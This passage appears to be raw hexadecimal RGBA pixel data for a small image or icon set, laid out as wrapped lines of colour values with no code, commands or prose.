C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4\n      C4FFC4C4C4FFC4C4C4FFC2C2C2FFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C1FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFF2072C1FF0096FFFF0093FFFF0095\n      FFFF0094FFFF0094FFFF0094FFFF0094FFFF0094FFFF0094FFFF0094FFFF0094\n      FFFF0095FFFF0093FFFF0098FFFF4876A1FF2061BDFF0178FFFF0175FFFF0074\n      FFFF0174FFFF0174FFFF0174FFFF0174FFFF0174FFFF0174FFFF0174FFFF0174\n      FFFF0075FFFF0274FFFF017AFFFF486D9FFFA9523CFFBE3B1DFFBF3C1FFFBF3D\n      1EFFBF3D20FFBF3D20FFBF3D20FFBF3D20FFBF3D20FFBF3D20FFBF3D20FFBF3D\n      20FFBF3D1FFFC23A1DFFC4361AFF898967FF266E2AFF0C9010FF0E8E11FF0E8D\n      12FF0F8F12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8F\n      12FF0E8D11FF0D8C0BFF0D8E06FF4C734EFF2056BEFF025DFFFF035DFEFF025E\n      FEFF045FFEFF035FFEFF035FFEFF035FFEFF035FFEFF035FFEFF035FFEFF045D\n      FEFF025EFEFF035DFEFF025EFFFF48679FFF214CBEFF064DFFFF084EFFFF094F\n      FFFF084FFFFF0A4FFFFF0A4FFFFF0A4FFFFF0A4FFFFF0A4FFFFF0A4FFFFF084F\n      FFFF094FFFFF064EFFFF064DFFFF49629FFFA64B35FFB43417FFB23214FFB436\n      1AFFB4381BFFB6381BFFB6381BFFB6381BFFB6381BFFB6381BFFB6381BFFB438\n      1BFFBB3219FFAA401CFF53942FFF719564FF267028FF0E8910FF108810FF0F89\n      11FF118913FF118913FF118913FF118913FF118913FF118913FF118913FF1189\n      13FF10870CFF0F9F4DFF0DBA8BFF4D7348FF213FBBFF0536FFFF0737FEFF0837\n      FEFF0939FEFF0938FEFF0938FEFF0938FEFF0938FEFF0938FEFF0938FEFF0739\n      FEFF0837FEFF0737FEFF0536FFFF485A9DFF2339BBFF082EFFFF0B2FFFFF0C30\n      FFFF0D31FFFF0D31FFFF0D31FFFF0D31FFFF0D31FFFF0D31FFFF0D31FFFF0D31\n      FFFF0C30FFFF0A2DFFFF082DFFFF49569DFFA34633FFAF2A0AFFD08170FFC057\n      3FFFB23112FFB43416FFB43416FFB43415FFB43415FFB43416FFB43315FFBE29\n      13FF8C581EFF459D2FFF4B932AFF749263FF256E25FF0C870EFF0F8710FF1088\n      11FF118710FF118910FF11870EFF118406FF118407FF11870EFF118910FF1187\n      10FF10860EFF0E9029FF0CA95EFF4A7148FF202AC4FF0015FFFF0218FFFF0319\n      FFFF041AFFFF041AFFFF041AFFFF0115FFFF0005FEFF0005FEFF0005FEFF0005\n      FEFF0004FEFF0002FEFF0000FFFF48489CFF2329B9FF0913FFFF0C15FFFF0E17\n      FFFF0D17FFFF0F17FFFF0F18FFFF0C12FFFF0C0FFFFF0F18FFFF0F17FFFF0D17\n      FFFF0E16FFFF0C15FFFF0912FFFF494C9DFFA1432CFFB12A0CFFAF2607FFAF27\n      08FFB12E10FFB12F10FFB52A08FFBB2100FFBB2201FFB62808FFB8270FFF6775\n      23FF44992BFF4B9127FF479024FF709162FF256E25FF09860AFF0C850EFF0F87\n      0EFF0E8610FF10850BFF0F860FFF0FBC9CFF0FBA96FF0F9028FF10850DFF0E86\n      10FF0F870FFF0D840AFF0A8604FF497349FF642339FF74082FFF750B2FFF740D\n      31FF750E32FF750E32FF730A2EFF8E3757FFF8FFFFFFF1F0FCFFF1F0FCFFF1F0\n      FCFFF2F0FCFFF0F0FCFFF8F6FFFF97979BFF2423B9FF0A08FFFF0D0BFFFF0D0D\n      FFFF0F0DFFFF100EFFFF0D08FFFF2858FFFF367CFFFF0C05FFFF100EFFFF0F0D\n      FFFF0E0CFFFF0C0AFFFF0907FFFF4A499DFFA95946FFAF2608FFAF2607FFC566\n      53FFAD2505FFB22605FF955651FF3CD4FFFF3FC4DCFF8A6054FF518920FF4795\n      28FF4A8F26FF488E24FF468D22FF719161FF256D23FF098609FF0D850DFF0D87\n      0DFF0E850CFF108509FF10EAFFFF10B281FF107D00FF10860DFF108810FF0F86\n      0EFF0E870EFF0C860CFF098708FF497047FF692333FF830C27FF7B0B22FF7C0E\n      25FF7D0D25FF801027FF7B0A22FF963B4CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9CFF2525B9FF0C0CFFFF0B08FFFF0C07\n      FFFF0D08FFFF0D0AFFFF0E0DFFFF1725FFFF1522FFFF0F0FFFFF1012FFFF0E0E\n      FFFF0E0EFFFF0C0CFFFF0909FFFF4A4A9DFFB47669FFB53517FFAF2B0CFFAD21\n      03FFC86A56FFC63E1FFF3BCAF0FF44BAC1FF499A4BFF3CD7FFFF498C15FF4C90\n      25FF4B9027FF498F25FF468D22FF709160FF247228FF0C8300FF0D850CFF0E86\n      0EFF108406FF10AE75FF10DEF9FF107900FF10880FFF108810FF108508FF0F83\n      05FF0E870EFF0C860CFF098402FF49877CFF692435FF830C2AFF8F2C45FF7600\n      1BFF87243BFF790D25FF790A24FF943A4EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF2424B9FF0C09FFFF274FFFFF284F\n      FFFF2653FFFF2651FFFF0D0AFFFF0E0DFFFF0A02FFFF54D9FFFF131BFFFF0E0C\n      FFFF0E0EFFFF0C0CFFFF0909FFFF4A4A9DFFA14028FFB32F0CFFB22D09FFB22F\n      0DFFB73F24FFBE2204FF40BFD1FF46AD93FF4B9437FF46B9C0FF4B922EFF4A97\n      43FF4B8E20FF498D1EFF468D21FF70915FFF2592B8FF0ED7D1FF118703FF118A\n      0FFF0F8305FF0FAA6FFF0FE2FFFF107900FF10870FFF108508FF10A967FF0FBE\n      A3FF0E8203FF0C860CFF098708FF497047FF6A2436FF860B2EFF8D233EFFF3EF\n      EFFFC89DA9FF7B0524FF7C0C28FF93394EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF2424B9FF0E0CFFFF0800FFFF78FF\n      FFFF7BFFFFFF0E07FFFF100DFFFF0E0EFFFF0E0EFFFF0700FFFF0E0BFFFF0E0E\n      FFFF0D0DFFFF0B0BFFFF0A0AFFFF49499DFFA3442CFFB32D07FFD6907DFFC153\n      37FFBC2F0EFFAF390EFF539E70FF40D1FFFF40CDFFFF479C54FF499232FF4992\n      34FF479C56FF45A169FF478913FF71915EFF2582A2FF0FF4FFFF12BC92FF148A\n      08FF159013FF148A09FF11E6FFFF0EBB9AFF0F8102FF0F860EFF0F8B1AFF0E96\n      39FF0D8409FF0B840BFF098709FF497349FF6A2436FF85092EFFC597A2FFFFFF\n      FFFFE5D3D6FF94314BFF860E30FF9F415BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF2524B9FF1316FFFF59CAFFFF6DFE\n      FFFF6EFDFFFF5DCFFFFF1A1DFFFF1715FFFF130EFFFF51B3FFFF181BFFFF1513\n      FFFF1414FFFF1212FFFF1010FFFF4A4A9DFFA4452EFFB83610FFB7310AFFC12F\n      0FFF975C22FF51A43AFF599C30FF5B9725FF5A9625FF57972DFF569931FF5699\n      30FF579219FF52B8A7FF4FD1FFFF719773FF26744AFF10A94EFF13D8DBFF168C\n      06FF179117FF179214FF178E0DFF17BB88FF16BF95FF159729FF158D11FF158D\n      11FF149014FF128E0DFF0F9307FF497349FF6B2436FF8D1036FF810026FFBC83\n      93FF810125FF8A1436FF891134FF9F415BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF2424B9FF100FFFFF0A00FFFF315D\n      FFFF325EFFFF0E01FFFF1615FFFF120FFFFF1A1DFFFF2841FFFF1B1FFFFF1514\n      FFFF1515FFFF1313FFFF0F0FFFFF49499CFFA4452CFFBB370FFFC23210FF787D\n      2CFF53A63BFF5B9D38FF5C9C38FF5D9E37FF5D9E38FF5C9D38FF5C9D38FF5C9B\n      33FF57BFBBFF54C2C8FF56B18BFF71915AFF257328FF10D2C3FF13C19AFF158F\n      09FF169416FF179317FF179315FF17900DFF17900DFF179315FF179417FF1694\n      16FF159210FF13A345FF0FB872FF497247FF6B2235FF8F0B35FF8C0E36FF8909\n      31FF8C1137FF8E1137FF8B0B32FFA03C5BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9B9B9BFF2222B8FF0B0BFFFF0E0DFFFF1110\n      FFFF1111FFFF1110FFFF0D08FFFF3D7BFFFF3F85FFFF0B04FFFF100FFFFF1111\n      FFFF1010FFFF0E0EFFFF0A0AFFFF48489BFFA8402BFFB3400FFF5F9933FF57A2\n      38FF5B9C36FF5B9E36FF5B9E35FF5B9E37FF5B9E37FF5B9E35FF5B9E35FF5B9E\n      38FF5C9722FF55BFBBFF59A34DFF71925EFF23A2A8FF0BD8D0FF0E8F00FF1094\n      0EFF119411FF119611FF119511FF119511FF119511FF119511FF119611FF1194\n      11FF10930CFF0EA133FF0ABD78FF477146FF702E40FF9B324FFF98304EFF9831\n      4FFF98314FFF98324FFF962D4BFFAB586EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAAAAAAFF2F2FBFFF3232FFFF3030FFFF3130\n      FFFF3232FFFF3232FFFF3232FFFF2F2AFFFF2F2CFFFF3232FFFF3232FFFF3232\n      FFFF3131FFFF3030FFFF3030FFFF5555ACFF8E613AFF6AB954FF6FAF50FF71AE\n      51FF71AE51FF71AE51FF71AF51FF71AF51FF71AF51FF71AF51FF71AF51FF71AE\n      51FF71AF4FFF6FB876FF71AD49FF759465FF2F7936FF339E21FF31A230FF33A2\n      33FF33A233FF33A233FF33A233FF33A233FF33A233FF33A233FF33A233FF33A2\n      33FF33A233FF319F2EFF32A12AFF558155FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFB5661CFFFA7B00FFF67A00FFF57B\n      00FFF67A00FFF87800FFF77800FFF87700FFF87900FFF77900FFF67A00FFF67A\n      00FFF57B00FFF67A00FFFD7C00FF9D6F43FF60282AFF731010FF701011FF7110\n      12FF711112FF711112FF711112FF711112FF711112FF711112FF711112FF7111\n      12FF711011FF700F10FF730F10FF6A4E4EFF1CA8C3FF00EEFFFF00E8FFFF00E8\n      FFFF00E8FFFF00F3FFFF176FFFFF1B5AFFFF1D52FFFF03D5FFFF00EBFFFF00E8\n      FFFF00E8FFFF00E8FFFF00F0FFFF4393A5FF79561DFF9D5F00FF9B5E01FF9F57\n      00FF66B6A4FF47EAFFFF4AE5FBFF4AE5FBFF4AE5FBFF48EDFDFF608EE0FF7348\n      CEFF704FCFFF714ECEFF734FD6FF6B6087FFA35C1DFFCD6201FFCB6202FFCB62\n      03FFCC6201FFBE7C26FFC2771DFFB88B35FFC1731AFFC8690BFFCC6204FFCB62\n      03FFCB6303FFCB6202FFCF6201FF946941FF602828FF6D0F10FF6D1110FF6E12\n      11FF6E1213FF6E1213FF6E1213FF6E1213FF6D1011FF6C0B0BFF6C0607FF6A02\n      04FF6B0303FF6B0808FF6D090AFF6D4D4DFF1EA6C1FF04DDFFFF04D9FFFF06D9\n      FFFF05D9FFFF03E5FFFF2358E9FF2843E6FF2A3AE5FF0AC5FBFF04DCFFFF05D9\n      FFFF06D9FFFF05D9FFFF02DFFFFF4294A6FF724D20FF894C06FF884C08FF8C44\n      00FF50A5A1FF32DCFFFF35D7F6FF35D7F6FF35D7F6FF32E0F9FF4C79D7FF5E35\n      CAFF5D3CCCFF5C3BCCFF5C39D2FF67598CFF8B4D1EFFB14B00FFAF4A00FFB14D\n      00FFB44F03FF9A6F30FFB24800FFB24800FF9E6929FFB0550AFFB34C00FFAF4D\n      00FFAF4B00FFAF4A00FFB24A00FF866145FF5F2525FF6C0D0EFF6D1010FF6E0F\n      11FF6E1110FF6E1110FF6E1110FF6D0F10FF721513FF815054FF829594FF97C6\n      C6FF8EBBBDFF7C6565FF7D4040FF6A4848FF20A2C3FF04D9FFFF07D2FBFF07D3\n      FBFF09D3FBFF05DFFBFF2C47E0FF3330DEFF3626DCFF0FBCFBFF07D6FBFF07D3\n      FBFF08D3FBFF05D2FBFF03DCFFFF4692A4FF684322FF7B3D08FF7A3E0BFF8336\n      00FF429EA4FF1ED9FFFF22D3FAFF23D3FAFF23D3FAFF20DDFCFF3C70DAFF5026\n      CEFF4E2ED0FF4D2BD0FF4D2AD6FF61558EFFC6CABEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFB5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCEFFFFFFE6FFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A8A0FF5F2525FF6B0B0AFF6C0E0EFF6D0F\n      0EFF6C1010FF6C0F0FFF6C0F0FFF6C0C09FF6B2A52FF76D3E6FFA8B7BDFF9188\n      5EFFC3A592FF75C1D4FF7AA7DAFF6A4747FF3A7939FF2F9A2DFF319A2FFF3299\n      30FF339B30FF31A425FF3A31C1FF3B20DAFF3C19E3FF338A49FF339D2EFF339B\n      30FF329930FF31982FFF2F9C2DFF557A56FF623B23FF723009FF71330CFF782A\n      00FF3498A7FF10D7FFFF13D1FDFF13D1FDFF13D1FDFF11DBFFFF3068DDFF451B\n      D1FF4121D3FF411FD3FF401CD8FF5C508EFF252099FF0D00CDFF0E00CBFF1100\n      CBFF1C00CBFF1100CBFF1000CBFF1000CBFF1100CBFF1900CBFF1500CBFF1100\n      CBFF0F00CBFF0E00C9FF0C00D0FF4A478CFF5F2424FF6C0909FF6B0D0DFF6D0D\n      0DFF6C0E0EFF6E0F0FFF6E1010FF6E1010FF6D0804FF6B254DFF897A5CFF8B98\n      78FF787B4BFF83648EFF700D07FF694848FF3A7B3AFF2F9C2EFF309B2EFF319C\n      31FF329C30FF33A625FF3C2CC0FF3F1BD7FF4013E1FF358948FF349E2FFF329C\n      31FF319C2FFF319B2FFF2E9D2CFF567A55FF603925FF6D2D0AFF6D2E0DFF7425\n      00FF2F96A8FF0BD6FFFF0FD0FFFF0FD0FFFF0FD0FFFF0CDAFFFF2965DFFF4014\n      D3FF3D1BD5FF3B19D4FF3A16DAFF5A4E8FFFC9CFC6FFFFFFFFFFFFFFFFFFFFFF\n      FFFFB6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD0FFFFFFEFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A9A5FF5F2020FF6F0C0CFF6A0B0BFF6401\n      01FF6B0600FF6F0F09FF6D0F0FFF6E1010FF6C0D0DFF741815FFAEBAA8FFBCAA\n      ABFFA4AFA2FFB08B73FF670000FF6A4949FF327732FF259725FF239223FF2290\n      22FF239023FF229B16FF392ABAFF3F1BD7FF3F13E1FF28813DFF239320FF2390\n      23FF229122FF218F21FF1F951FFF517851FF613A24FF73300CFF6F300DFF7525\n      00FF3196A7FF0CD7FFFF10D1FFFF10D1FFFF10D1FFFF0DDAFFFF2A65DFFF4015\n      D3FF3E1CD5FF3C1AD3FF3B17DAFF5A4E8FFF733A20FF943300FF933600FF9333\n      00FF972E00FF655D44FF932900FF932900FF705131FF8B3A0AFF932F00FF8E30\n      00FF8D2D00FF8C2C00FF902B00FF755547FF867795FF660000FF7C1A13FFD2B0\n      A8FFAEC1FFFF745FB2FF6C0802FF6E1010FF6C0E0DFF7C2017FF1B47D3FF2B62\n      AEFF2662C7FF43369EFF6F0400FF6A4949FFC6BEC6FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF583ADCFF3B19D3FF300CD1FFF1E5FFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A1A5FF623A25FF76350EFF753711FF7A2C\n      02FF3197A7FF0BD6FFFF0FD0FFFF10D1FFFF10D1FFFF0DDAFFFF2A65DFFF4015\n      D3FF3E1CD5FF3C1AD3FF3B17DAFF5A4E8FFF7B4625FFA24B0FFFA04C12FFA14D\n      13FFA05118FF8E5F35FF885F3AFF71715CFF89522BFF964414FF99410EFF9740\n      0EFF983F0DFF963E0BFF9A3F09FF795B49FF8D7B91FFD6A998FFB3BEFFFF7261\n      BFFF8E3834FF740600FF6F1111FF6C0E0EFF6C0E0EFF70110DFF765283FF6A74\n      7AFF5E6E70FF6D254BFF6C0603FF694949FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF593CDAFF3A18D3FF2E0AD0FFE2DDF8FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF633C25FF79380FFF783A12FF8133\n      06FF389CAAFF10D8FFFF11D1FFFF0ED0FFFF0FD0FFFF0CDAFFFF2965DFFF3F14\n      D2FF3C1AD4FF3A18D3FF3B17DAFF5A4E8FFF7B4826FFA44E10FFA24F13FFA350\n      16FFA35016FFA44F14FFA44F13FFA64E13FFA34F13FFA14E14FFA14D15FFA04D\n      15FFA14D14FFA14F12FFA7510FFF7A5C49FF4D4EA8FF666AEFFF6768E3FF6E70\n      E7FF6C76F6FF7164CBFF7B1008FF7A1717FF791616FF760C0FFF806A44FF386D\n      2FFF598356FF831615FF7B0E0EFF6B4949FFBEC4C6FFFFFFFFFFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFF6346DEFF4C27D8FF3E18D6FFE7E6FBFFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFFFFFFFFA2A2A4FF653D26FF7C3B10FF7B3D13FF8436\n      08FF3A9EA9FF13DBFFFF17D6FFFF17D6FFFF16D5FFFF12DEFFFF346BE1FF4C1E\n      D6FF4A26D8FF4B25D8FF4C25DEFF5B4F8FFF7C4A25FFA65110FFA45213FFA553\n      15FFA55316FFA55317FFA55317FFA55317FFA55317FFA55317FFA55317FFA553\n      16FFA55315FFA45113FFA8520FFF7A5C49FF4E50A8FF7176F2FF6F6FE5FF6B6C\n      E6FF6F77F6FF7467CBFF7D1008FF7D1717FF7D1717FF7B1413FF913235FF8EC2\n      DBFFA9C3D3FF7B0C0BFF7C0F0FFF6B4949FF6D3620FF5C6B51FF705026FF8B36\n      00FF893A00FF8E3D00FF552BBAFF4E2ADDFF4A28E9FF813923FF8A3B00FF893A\n      00FF893900FF883800FF8D3900FF705447FF653D25FF803E10FF803F13FF8636\n      07FF3BA0A9FF13DCFFFF17D7FFFF17D7FFFF17D7FFFF14E0FFFF386FE2FF5324\n      D8FF4F2ADAFF4D28D8FF4E25DFFF5B4E8FFF7C4823FFA7510BFFA5510EFFA652\n      10FFA65211FFA65211FFA65211FFA65211FFA65211FFA65211FFA65211FFA652\n      11FFA65210FFA5510EFFA9520AFF785B47FF907D8FFF753F7CFF939CFFFFDCCB\n      D3FFA84F3AFF760000FF7B1111FF7B1111FF7B1111FF7B1111FF7A0D0DFF7B03\n      02FF790201FF7A0D0DFF810A0AFF6A4747FF6A4D35FF03E6FFFF62836FFF9B47\n      07FF964B11FF9D4E01FF582CC3FF4E27DDFF4A24E9FF8D462FFF994C0CFF964B\n      11FF964A10FF95490EFF994A0AFF745947FF643C23FF823E0BFF803E0EFF8836\n      02FF38A0A9FF0CDDFFFF11D7FFFF11D7FFFF11D7FFFF0DE0FFFF346EE3FF5120\n      D8FF4E26DAFF4D24DAFF4E23E1FF5A4D8EFF845030FFB36933FFAF6631FFB067\n      33FFB06733FFB06733FFB06733FFB06733FFB06733FFB06733FFB06733FFB067\n      33FFB06733FFAF6631FFB36932FF876855FF8E8198FF8A2017FF9A3F34FF7653\n      99FFADB7FFFFC4ABC0FF8A2927FF8F3333FF8F3333FF8F3333FF8F3333FF8D33\n      33FF8E3333FF8C3131FF903232FF775555FF7B482BFF957452FFA85925FFA360\n      33FFA36133FFA86425FF6C47CCFF6344E3FF6042EDFF9A5D4DFFA46230FFA361\n      33FFA36033FFA25F31FFA56132FF816555FF6B442FFF935A33FF8F5731FF9650\n      27FF53AFBAFF30E2FFFF33DDFFFF33DDFFFF33DDFFFF30E5FFFF4F86ECFF663E\n      DFFF6443E0FF6343E0FF6644E4FF675B9DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0BFFFC0BFBFFFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C1FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFF6580A9FF1347DFFF2052DEFF2757\n      